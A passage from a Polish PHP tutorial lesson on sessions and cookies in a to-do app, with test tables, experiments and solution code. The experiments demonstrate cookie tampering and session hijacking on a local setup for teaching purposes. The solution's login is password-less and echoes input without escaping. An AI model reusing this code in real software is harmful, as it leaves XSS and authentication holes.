0.85em;">string(1) "B"</code> — drugi nadpisuje pierwszy (w sesji jest jedno miejsce na komunikat)</td></tr><tr><td>po uruchomieniu brudnopisu otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>zielona ramka „Pozdrowienia z brudnopisu”; po F5 znika</td></tr><tr><td>brudnopis z sekcji 4 i przycisk „Zakończ sesję”, potem <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_SESSION = []</code> usunęło także login. Jedna przeglądarka = jedna sesja dla całej domeny</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 3 — logowanie i strony tylko dla zalogowanych</h2>



<p class="wp-block-paragraph"><strong>PLIKI PROJEKTU.</strong> Zacznij w oknie incognito (czysta przeglądarka).</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co robisz</th><th>Oczekiwany efekt</th></tr></thead><tbody><tr><td>otwierasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td></tr><tr><td>otwierasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></td><td>przekierowanie na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td></tr><tr><td>otwierasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code></td><td>strona działa (świadomie publiczna), 15 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></td></tr><tr><td>z <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code>: pusty formularz logowania</td><td>dwa komunikaty, formularz nadal pusty</td></tr><tr><td>z <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code>: login <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama 2026</code>, imię <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama</code></td><td>komunikat o loginie; w polach wpisane dane</td></tr><tr><td>login <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_2026</code>, imię <code class="prettyprint lang-sql" style="font-size: 0.85em;">  Ola  </code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>: zielona ramka „Zalogowano. Powodzenia w zadaniach!”, „Witaj, Ola!” (bez spacji), „Zalogowano jako Ola_2026”</td></tr><tr><td>F5</td><td>ramka zniknęła, reszta bez zmian</td></tr><tr><td>otwierasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td><td>od razu <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td></tr><tr><td>F12: <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> przed logowaniem i na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> po nim</td><td><strong>różne</strong> wartości (<code class="prettyprint lang-sql" style="font-size: 0.85em;">session_regenerate_id()</code>)</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 4 — wylogowanie</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co robisz</th><th>Oczekiwany efekt</th></tr></thead><tbody><tr><td>wpisujesz w adres <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code> (GET)</td><td>powrót na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, nadal zalogowana/y</td></tr><tr><td>klikasz „Wyloguj”</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>; stary plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">sess_...</code> zniknął z <code class="prettyprint lang-sql" style="font-size: 0.85em;">C:\xampp\tmp</code></td></tr><tr><td>po wylogowaniu otwierasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td></tr><tr><td>„Wstecz” w przeglądarce, potem F5</td><td>najpierw może być widoczna kopia strony z pamięci przeglądarki, po F5 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></td></tr><tr><td>logujesz się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama</code></td><td>„Witaj, Kama!” — nic nie zostało po poprzednim użytkowniku</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 5 — komunikat jednorazowy</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co robisz</th><th>Oczekiwany efekt</th></tr></thead><tbody><tr><td>dodajesz poprawne zadanie</td><td>adres <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> (bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">?dodano=1</code>), zielona ramka na górze, zadanie na liście</td></tr><tr><td>F5</td><td>brak ramki, brak pytania o ponowne wysłanie, zadań nie przybyło</td></tr><tr><td>wpisujesz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?dodano=1</code></td><td>brak ramki, brak błędów</td></tr><tr><td>wysyłasz formularz z błędami (<code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code>), potem wracasz linkiem na <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td>brak ramki — komunikat powstaje tylko po udanym zapisie</td></tr><tr><td>F12 → Sieć przy dodawaniu</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">POST dodaj-zadanie.php</code> → <strong>302</strong>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">GET index.php</code> → <strong>200</strong></td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 6 — widok zapamiętany w cookie</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Co robisz</th><th>Oczekiwany efekt</th></tr></thead><tbody><tr><td>klikasz „aktywne”</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: aktywne</code>; w F12 ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">filtr</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">aktywne</code>, wygasa za 30 dni</td></tr><tr><td>otwierasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> (bez parametru)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: aktywne</code></td></tr><tr><td>dodajesz zadanie</td><td>po powrocie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: aktywne</code></td></tr><tr><td>zamykasz całą przeglądarkę, otwierasz, logujesz się</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: aktywne</code> (ciasteczko przetrwało, sesja nie)</td></tr><tr><td>wylogowujesz się i logujesz jako inny użytkownik</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: aktywne</code> — ciasteczko należy do przeglądarki</td></tr><tr><td>otwierasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php?filtr=abc</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: wszystkie</code>, ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">filtr</code> = <code class="prettyprint lang-sql" style="font-size: 0.85em;">wszystkie</code></td></tr><tr><td>klikasz „wykonane”, potem w F12 zmieniasz ciasteczko na <code class="prettyprint lang-sql" style="font-size: 0.85em;">AKTYWNE</code> i otwierasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: wszystkie</code>, brak błędów; ciasteczko nadal <code class="prettyprint lang-sql" style="font-size: 0.85em;">AKTYWNE</code> (nie nadpisujemy go, bo w adresie nie było <code class="prettyprint lang-sql" style="font-size: 0.85em;">filtr</code>)</td></tr><tr><td>usuwasz ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">filtr</code> w F12, otwierasz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: wszystkie</code></td></tr><tr><td>okno incognito, logowanie</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: wszystkie</code></td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 7 — regresja</h2>



<p class="wp-block-paragraph">Zaloguj się i porównaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/index.php</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja13/index.php</code> <strong>tego samego dnia</strong>, na oryginalnym pliku zadań i w widoku „wszystkie”. Różnice mogą być tylko takie:</p>



<ul class="wp-block-list">
<li>zamiast „Login poprawny: Kama_2026” — „Zalogowano jako Kama_2026” i przycisk „Wyloguj”,</li>



<li>(raz, po logowaniu) zielona ramka na górze,</li>



<li>wersja w stopce <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.3</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.4</code>.</li>
</ul>



<p class="wp-block-paragraph">Liczniki, pasek XP, streak, komunikaty terminów, najpilniejsze zadanie i lista — identyczne. Test awarii z Lekcji 12 (zmiana nazwy <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>) nadal daje czerwoną ramkę na stronie głównej. <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>: <strong>15 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code></strong>.</p>



<h2 class="wp-block-heading">Sprzątanie</h2>



<p class="wp-block-paragraph">Gdy testy przeszły <strong>i wykonasz eksperymenty z sekcji 8</strong> (Eksperymenty 1 i 2 korzystają jeszcze z brudnopisu):</p>



<ol class="wp-block-list">
<li>usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis2.php</code>,</li>



<li>w F12 usuń ciasteczka <code class="prettyprint lang-sql" style="font-size: 0.85em;">licznik</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wizyty</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">test</code>, jeśli zostały (to pozostałości brudnopisu, nie TaskQuest),</li>



<li>usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">novalidate</code> z formularzy w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, jeśli został,</li>



<li>przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> z kopii albo zostaw zadania, które chcesz mieć,</li>



<li>wyloguj się, zaloguj ponownie i sprawdź <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> oraz <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>.</li>
</ol>



<h1 class="wp-block-heading">8. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> przy każdym eksperymencie jest napisane, w jakim pliku go wykonać. Po każdym <strong>przywróć kod</strong> do stanu z sekcji 5–6.</p>



<h3 class="wp-block-heading">Eksperyment 1: za późno na nagłówki</h3>



<p class="wp-block-paragraph"><strong>Brudnopis.</strong> Wpisz:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

echo str_repeat('x', 5000);

session_start();
setcookie('test', '1');
</code></pre>



<p class="wp-block-paragraph">Przeczytaj oba ostrzeżenia. Co znaczy <code class="prettyprint lang-sql" style="font-size: 0.85em;">output started at ...:3</code>? Teraz zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">5000</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">50</code> — ostrzeżenia zniknęły. Dlaczego? XAMPP ma włączone <strong>buforowanie wyjścia</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">output_buffering = 4096</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code>): pierwsze 4096 bajtów treści PHP trzyma w pamięci, więc nagłówki „zdążą” wyjść. Na serwerze z wyłączonym buforowaniem już pierwsza spacja przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php</code> psuje sesję i ciasteczka. Dlatego w TaskQuest <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_start()</code> stoi w pierwszej linii, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie()</code> — przed <code class="prettyprint lang-sql" style="font-size: 0.85em;">header.php</code>, <strong>niezależnie</strong> od tego, czy XAMPP by nam wybaczył.</p>



<h3 class="wp-block-heading">Eksperyment 2: <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE</code> widzi przeszłość</h3>



<p class="wp-block-paragraph"><strong>Brudnopis.</strong></p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

setcookie('test', time());

echo "W \$_COOKIE jest: " . ($_COOKIE&#91;'test'] ?? '(brak)') . "&lt;br&gt;";
echo "Właśnie ustawiono: " . time();
</code></pre>



<p class="wp-block-paragraph">Otwórz stronę, odczekaj kilka sekund, odśwież, znowu odczekaj, odśwież. Przewidź przed każdym odświeżeniem, co będzie w pierwszej linii. Wyjaśnij na podstawie schematu z sekcji 3.2, <strong>kiedy</strong> przeglądarka wysyła ciasteczko. Który fragment <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> byłby błędny, gdyby po <code class="prettyprint lang-sql" style="font-size: 0.85em;">setcookie('filtr', ...)</code> wyświetlał <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE['filtr']</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">$filtr</code>?</p>



<h3 class="wp-block-heading">Eksperyment 3: ciasteczka w rękach użytkownika</h3>



<p class="wp-block-paragraph"><strong>Projekt, F12 → Pliki cookie</strong>, zalogowana/y:</p>



<p class="wp-block-paragraph">a) Zmień wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">filtr</code> kolejno na: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">WYKONANE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;b&gt;wykonane&lt;/b&gt;</code>. Po każdej zmianie otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> (bez parametru). Co pokazuje linia <code class="prettyprint lang-sql" style="font-size: 0.85em;">Widok: ...</code>? Co by się stało z tą linią przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;b&gt;wykonane&lt;/b&gt;</code>, gdyby nie było zawężenia do trzech wartości?</p>



<p class="wp-block-paragraph">b) Dodaj w F12 nowe ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">login</code> z wartością <code class="prettyprint lang-sql" style="font-size: 0.85em;">Admin</code> (w Chrome: dwuklik w pustym wierszu tabeli; w Firefoksie przycisk <strong>+</strong>) i odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Czy coś się zmieniło? Dlaczego nie? Co by się stało, gdyby <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> brał login z <code class="prettyprint lang-sql" style="font-size: 0.85em;">$_COOKIE['login']</code> zamiast z sesji?</p>



<h3 class="wp-block-heading">Eksperyment 4: sesja w rękach serwera</h3>



<p class="wp-block-paragraph"><strong>Projekt</strong>, zalogowana/y jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola_2026</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">Ola</code>.</p>



<p class="wp-block-paragraph">a) Otwórz w edytorze plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">sess_...</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">C:\xampp\tmp</code> (nazwa = wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>). Znajdź <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie|s:3:"Ola";</code> i zamień na <code class="prettyprint lang-sql" style="font-size: 0.85em;">imie|s:3:"Ala";</code> (liczba <code class="prettyprint lang-sql" style="font-size: 0.85em;">3</code> to długość tekstu — musi się zgadzać). Zapisz, odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Kto widzi teraz stronę? Kto <strong>może</strong> zmienić dane w sesji — użytkownik czy administrator serwera?</p>



<p class="wp-block-paragraph">b) W F12 zmień jeden znak w wartości <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code> i odśwież. Dlaczego trafiasz na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>? Czy podmiana identyfikatora „przerobiła” jakiekolwiek dane?</p>



<h3 class="wp-block-heading">Eksperyment 5: kto ma numerek, ten ma kurtkę (zapowiedź Lekcji 22)</h3>



<p class="wp-block-paragraph"><strong>Projekt</strong>, dwie przeglądarki (albo zwykłe okno + incognito).</p>



<ol class="wp-block-list">
<li>W zwykłym oknie zaloguj się jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">Kama_2026</code> i skopiuj z F12 wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>.</li>



<li>W oknie incognito otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> (powstanie tam osobne ciasteczko <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>), w F12 wklej w nie skopiowaną wartość i otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</li>
</ol>



<p class="wp-block-paragraph">Kim jesteś w oknie incognito? Nie znasz loginu ani nie wysłałaś/wysłałeś formularza — wystarczył identyfikator. Tak wygląda <strong>przejęcie sesji</strong> (<em>session hijacking</em>): kto zdobędzie cudzy <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code> (np. przez skrypt wstrzyknięty na stronę — pamiętasz Eksperyment 5 z Lekcji 13? — albo podsłuchując połączenie bez HTTPS), ten jest zalogowany jako ofiara. Przed czym chroni wtedy <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_regenerate_id()</code>, a przed czym nie? Obronę (m.in. <code class="prettyprint lang-sql" style="font-size: 0.85em;">httponly</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">secure</code>, HTTPS, <code class="prettyprint lang-sql" style="font-size: 0.85em;">htmlspecialchars()</code>) zbudujemy w Lekcji 22.</p>



<p class="wp-block-paragraph">Na koniec kliknij „Wyloguj” w jednym z okien i odśwież drugie. Co się stało i dlaczego?</p>



<h3 class="wp-block-heading">Eksperyment 6: po co <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code>?</h3>



<p class="wp-block-paragraph"><strong>Projekt, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code>.</strong> Usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit;</code> z <code class="prettyprint lang-sql" style="font-size: 0.85em;">wymagajLogowania()</code>.</p>



<ol class="wp-block-list">
<li>W karcie A (zalogowana/y) otwórz <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code> i wypełnij formularz, <strong>nie wysyłaj</strong>.</li>



<li>W karcie B kliknij „Wyloguj”.</li>



<li>W karcie A wyślij formularz.</li>
</ol>



<p class="wp-block-paragraph">Trafiasz na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> — wygląda na to, że ochrona zadziałała. Otwórz jednak <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>. Co tam jest? Prześledź kod: co zrobił PHP po <code class="prettyprint lang-sql" style="font-size: 0.85em;">header('Location: zaloguj.php')</code>, skoro nic go nie zatrzymało? Dlaczego ostatecznie przeglądarka trafiła na <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>, a nie zobaczyła formularza? Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">exit;</code>, powtórz kroki 1–3 i sprawdź plik. Usuń dopisane zadanie.</p>



<h3 class="wp-block-heading">Eksperyment 7 (dodatkowy): bez nowego identyfikatora</h3>



<p class="wp-block-paragraph"><strong>Projekt, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>.</strong> Zakomentuj <code class="prettyprint lang-sql" style="font-size: 0.85em;">session_regenerate_id(true);</code>. Wyloguj się, na stronie logowania zapisz wartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">PHPSESSID</code>, zaloguj się i porównaj. Co się zmieniło w porównaniu z Testem 3? Wyobraź sobie, że ktoś zna Twój identyfikator <strong>sprzed</strong> logowania (bo np. sam go podsunął). Co ma po Twoim zalogowaniu — z tą linią i bez niej? Przywróć linię.</p>



<h1 class="wp-block-heading">9. ROZWIĄZANIE</h1>



<p class="wp-block-paragraph">Pełny kod TaskQuest po Lekcji 14. Nowe: <code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code>. Zmienione: <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>. <strong>Bez zmian względem Lekcji 13:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_grywalizacji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_terminow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_diagnostyczne.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code></h2>



<p class="wp-block-paragraph">Dotychczasowe <code class="prettyprint lang-sql" style="font-size: 0.85em;">XP_NA_POZIOM</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">PLIK_ZADAN</code> bez zmian. Na końcu pliku dochodzi:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">define('CZAS_PAMIETANIA_WIDOKU', 60 * 60 * 24 * 30); // 30 dni w sekundach
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code></h2>



<p class="wp-block-paragraph">Dotychczasowe funkcje (<code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujLogin()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyczyscTytul()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">skrocOpis()</code>) bez zmian. Na końcu pliku dochodzi:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function walidujDaneLogowania(string $login, string $imieUzytkownika): array
{
    $bledy = &#91;];

    if (!walidujLogin($login)) {
        $bledy&#91;] = "Login musi mieć 3–20 znaków: litery bez polskich znaków, cyfry, _ lub -.";
    }

    if ($imieUzytkownika === '') {
        $bledy&#91;] = "Imię jest wymagane.";
    } elseif (mb_strlen($imieUzytkownika) &gt; 30) {
        $bledy&#91;] = "Imię może mieć najwyżej 30 znaków.";
    }

    return $bledy;
}
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_sesji.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

function czyZalogowany(): bool
{
    return isset($_SESSION&#91;'login']);
}


function wymagajLogowania(): void
{
    if (!czyZalogowany()) {
        header('Location: zaloguj.php');
        exit;
    }
}


function ustawKomunikat(string $komunikat): void
{
    $_SESSION&#91;'komunikat'] = $komunikat;
}


function pobierzKomunikat(): string
{
    $komunikat = $_SESSION&#91;'komunikat'] ?? '';
    unset($_SESSION&#91;'komunikat']);

    return $komunikat;
}
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- zalogowany użytkownik nie potrzebuje formularza logowania ---
if (czyZalogowany()) {
    header('Location: index.php');
    exit;
}


// --- dane logowania (na start puste — formularz jeszcze nie został wysłany) ---
$login = '';
$imieUzytkownika = '';

$bledy = &#91;];


// --- obsługa wysłanego formularza (POST) ---
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $login = trim($_POST&#91;'login'] ?? '');
    $imieUzytkownika = trim($_POST&#91;'imie'] ?? '');

    $bledy = walidujDaneLogowania($login, $imieUzytkownika);

    if (count($bledy) === 0) {
        session_regenerate_id(true);

        $_SESSION&#91;'login'] = $login;
        $_SESSION&#91;'imie'] = $imieUzytkownika;

        ustawKomunikat('Zalogowano. Powodzenia w zadaniach!');
        header('Location: index.php');
        exit;
    }
}


// --- prezentacja ---
$nazwaStrony = 'Logowanie — TaskQuest';
require_once __DIR__ . '/includes/header.php';
?&gt;
        &lt;h2&gt;Logowanie&lt;/h2&gt;
        &lt;p&gt;Wersja demonstracyjna: podaj login i imię — bez hasła.&lt;/p&gt;

        &lt;?php if (count($bledy) &gt; 0) { ?&gt;
        &lt;div class="blad"&gt;
            &lt;p&gt;Popraw formularz:&lt;/p&gt;
            &lt;ul&gt;
                &lt;?php foreach ($bledy as $blad) { ?&gt;
                &lt;li&gt;&lt;?= $blad; ?&gt;&lt;/li&gt;
                &lt;?php } ?&gt;
            &lt;/ul&gt;
        &lt;/div&gt;
        &lt;?php } ?&gt;

        &lt;form method="post" action="zaloguj.php"&gt;
            &lt;label for="login"&gt;Login *&lt;/label&gt;
            &lt;input type="text" id="login" name="login" maxlength="20" required value="&lt;?= $login; ?&gt;"&gt;

            &lt;label for="imie"&gt;Imię *&lt;/label&gt;
            &lt;input type="text" id="imie" name="imie" maxlength="30" required value="&lt;?= $imieUzytkownika; ?&gt;"&gt;

            &lt;button type="submit"&gt;Wejdź do TaskQuest&lt;/button&gt;
        &lt;/form&gt;
&lt;?php
require_once __DIR__ . '/includes/footer.php';
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

// --- wylogowanie zmienia stan aplikacji, więc przyjmujemy tylko POST ---
if ($_SERVER&#91;'REQUEST_METHOD'] !== 'POST') {
    header('Location: index.php');
    exit;
}


// --- koniec sesji: dane, ciasteczko z identyfikatorem, plik na serwerze ---
$_SESSION = &#91;];

if (isset($_COOKIE&#91;session_name()])) {
    setcookie(session_name(), '', time() - 3600, '/');
}

session_destroy();


header('Location: zaloguj.php');
exit;
</code></pre>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

session_start();

// --- pliki aplikacji ---
require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_tekstowe.php';
require_once __DIR__ . '/includes/funkcje_zadan.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';
require_once __DIR__ . '/includes/funkcje_sesji.php';


// --- tylko dla zalogowanych ---
wymagajLogowania();


// --- dane nowego zadania (na start puste — formularz jeszcze nie został wysłany) ---
$tytulZadania = '';
$opisZadania = '';
$terminZadania = '';
$xpZadania = '';

$bledy = &#91;];
$bladZapisu = null;


// --- obsługa wysłanego formularza (POST) ---
if ($_SERVER&#91;'REQUEST_METHOD'] === 'POST') {
    $tytulZadania = wyczyscTytul($_POST&#91;'tytul'] ?? '');
    $opisZadania = trim(preg_replace('/\s+/', ' ', $_POST&#91;'opis'] ?? ''));
    $terminZadania = trim($_POST&#91;'termin'] ?? '');
    $xpZadania = trim($_POST&#91;'xp'] ?? '');

    $bledy = walidujNoweZadanie($tytulZadania, $opisZadania, $terminZadania, $xpZadania);

    if (count($bledy) === 0) {
        try {
            $zadania = wczytajZadania(PLIK_ZADAN);

            $zadania&#91;] = &#91;
                'id' =&gt; nastepneIdZadania($zadania),
                'tytul' =&gt; $tytulZadania,
                'opis' =&gt; $opisZadania,
                'termin' =&gt; $terminZadania,
